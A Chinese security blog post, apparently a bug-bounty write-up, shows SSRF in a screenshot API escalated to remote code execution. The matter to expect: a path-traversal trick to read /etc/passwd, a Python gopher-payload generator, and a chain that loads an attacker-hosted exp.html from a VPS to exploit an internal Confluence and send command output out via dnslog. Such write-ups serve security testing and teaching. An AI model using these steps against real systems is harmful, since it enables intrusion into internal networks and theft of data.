SSRF实战RCE

admin 2023年6月3日16:41:22评论60 views字数 2934阅读9分46秒阅读模式

文章来源(火线):https://zone.huoxian.cn/d/541-web-ssrf

一、漏洞原理及触发场景

  1. web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为web服务器常搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。

  2. 常见的ssrf漏洞场景(所有需要输入url的地方都可以尝试ssrf,将url改成dnslog地址,验证请求IP是否来自web服务器):

    • 远程图片拉取

    • xls,doc等文件预览

    • 头像加载

    • 其他网站的访问截图

  1. ssrf常用的协议:http/https、dict、file、gopher、sftp、ldap、tftp

二、漏洞检测及利用

  1. 任何需要传入URL的接口都有可能出现ssrf漏洞,可根据实际业务场景对功能接口进行漏洞验证。ssrf漏洞可分为有回显型和无回显型,有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。

  2. 无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。

  3. 有回显型ssrf往往可以直接操作内网web资产,不做多赘述。下面由某次众测SSRF案例总结无回显型或半回显型ssrf的利用过程。

三、众测SSRF案例(禁用gopher协议时发出POST包getshell)

某次众测SSRF案例(禁用gopher协议时发POST包getshell)

  1. 感谢 @Rus 师傅提供的漏洞,这个ssrf虽然能看到访问截图,但是无法直接操作内网web资产,因此和无回显型ssrf的利用合并总结了。首先在js中发现接口:https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000
    SSRF实战RCE

  2. 通过接口名称大概知道是截图功能的接口,后接的url参数是可控的,将url地址改为www.baidu.com,响应包返回的数据中给出了截图地址:
    SSRF实战RCE

  3. 访问该图片地址直接下载值本地,发现正是百度的首页,url改为ceye地址,通过http记录发现UA是基于Linux上chrome内核的浏览器:
    SSRF实战RCE

  4. 猜测请求过程:客户端通过接口传入url→web服务器接收到地址后用浏览器访问该url→访问后将网页详情截图并上传cdn→接口请求成功响应并返回截图保存地址
    chrome浏览器默认支持:Http,Https,File,Ftp,Linux环境下先尝试读取/etc/passwd,
    SSRF实战RCE

  5. 将url改成/etc/./././././././passwd可绕过该waf,发现部分用户的hash:
    SSRF实战RCE

  6. 因为当前用户权限不够,无法读/root/.bash_history和shadow文件,也不知道web源码的绝对路径无法读配置文件,此时还可以读取/etc/hosts文件获取部分内网web资产:
    SSRF实战RCE

  7. 除了以上收集到的资产,平时遇到无回显SSRF,还可以尝试寻找内网的Confluence, Artifactory, Jenkins, 和JAMF等资产,这篇文章是专门介绍bind ssrf利用技巧的,可以作为参考:https://github.com/assetnote/blind-ssrf-chains
    在GitHub搜索厂商域名关键字+jenkins、wiki、oa、git、svn等有可能出现在域名中的词,发现jenkins和confluence内网资产:
    SSRF实战RCE
    SSRF实战RCE

  8. 以上域名公网无法访问,通过ssrf接口带入https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000 ,查看截图后发现jenkins有登录口,无法直接未授权RCE,需要尝试其他历史漏洞,这时可以先试试近期公开的CVE-2021-26084,confluence未授权RCE,详情以及payload参考:https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

  9. 该漏洞的触发需要发送POST请求,以下列举ssrf漏洞发送POST请求的几种思路:

    • 利用gopher协议直接发送POST请求。用python脚本生成gopher数据流,参考:https://blog.csdn.net/weixin_45887311/article/details/107327706

    • ssrf不支持gopher协议时可考虑利用302跳转。条件:ssrf支持302跳转。参考:https://zone.huoxian.cn/d/392
      土司上也有师傅写过用302跳转对discuz的ssrf进行利用的案例:[https://www.t00ls.cc/articles-62210.html](https://www.t00ls.cc/articles-62210.html

    • 结合csrf自动提交POST表单。条件:支持跳转,无refer限制。前文提到,目标服务器可能是通过浏览器访问后再截图,因此重定向是可以实现的,这里提供一种比302跳转更方便的解决方案,直接用burp生成csrf poc,然后加入一段js来自动提交表单,这样也类似于302重定向的利用方式了。

import urllib.parse
test =
"""POST / HTTP/1.1
Host: 127.0.0.1:8000
"""
#以上内容放置请求包内容,注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

SSRF实战RCE
除了发出HTTP请求外,gopher协议还常被用来攻击内网redis、Zabbix、FastCGI、mysql等服务,利用工具:https://github.com/tarunkant/Gopherus

  1. 当前场景,结合csrf自动提交POST表单的方法是最方便的,因为是半回显ssrf,命令执行结果在截图中无法提现,可通过dnslog将命令执行结果外带,漏洞请求包:
    SSRF实战RCE

  2. 用burp生成csrf poc后,加入自动提交表单的js,然后将其保存在vps上的exp.html中:
    SSRF实战RCE

  3. 最后访问https://xxx.com/mall-tools/v1-0/tools/screenshot?url=http://vpsip/exp.html 实现RCE,用dnslog将命令执行结果外带:
    SSRF实战RCE

    四、欢迎加群,进来吹水!!!

    SSRF实战RCE


原文始发于微信公众号(赤弋安全团队):SSRF实战RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月3日16:41:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSRF实战RCEhttp://cn-sec.com/archives/1782470.html

发表评论

匿名网友 填写信息